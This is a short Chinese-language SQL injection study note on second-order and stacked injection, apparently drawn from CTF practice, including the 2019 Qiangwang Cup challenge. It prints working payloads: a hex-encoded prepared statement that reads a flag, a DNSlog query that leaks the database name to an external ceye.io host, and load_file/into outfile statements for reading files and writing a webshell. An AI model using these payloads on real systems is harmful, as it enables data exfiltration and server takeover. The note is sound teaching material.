二次注入
二次注入原理:
SQL二次注入,指的是在有些应用场景下,我们先把SQL注入的payload写入到目标站点数据库中,然后再在某些实际将该数据取出,使得我们写入的payload执行。
堆叠注入
条件:
因为堆叠注入原理就是通过结束符(;)同时执行多条sql语句,例如php中的mysqli_multi_query函数。与之相对应的mysqli_query()只能执行一条SQL。
所以要想目标存在堆叠注入,在目标代码中存在类似于mysqli_multi_query()这样的函数并且也要看目标数据库类型是否支持多语句执行
举例,强网杯2019随便注
[BUUCTF在线评测](https://buuoj.cn/challenges#[强网杯 2019]随便注)
详解这一段
SeT @a=0x73656c65637420666c61672066726f6d20603139313938313039333131313435313460;
这一行是将一个十六进制字符串赋值给用户定义的变量@a
。这个十六进制字符串代表的是 ASCII 编码的字符,解码后为select flag from 20191919810931114514
。prepare execsql from @a;
这一行是准备一个名为execsql
的预处理语句,其 SQL 语句内容来自于变量@a
。execute execsql;
这一行是执行刚才准备的预处理语句。
DNSlog外带
注入条件
1、需要root权限
2、secure-file-priv安全配置关闭
select load_file(concat(‘//’,(select database()),‘ivxyak.ceye.io/ss’))
mysql文件读写getshell
条件:
1、配置文件关闭secure_file_priv参数 (该参数限制文件操作目录)
2、知道网站绝对路径
3、对文件夹有写入权限
语句
select load_file(‘E:\1.txt’):读取1.txt文件
select ‘123’ into outfile ‘E:\2.txt’:写入文件
直接写入webshell即可getshell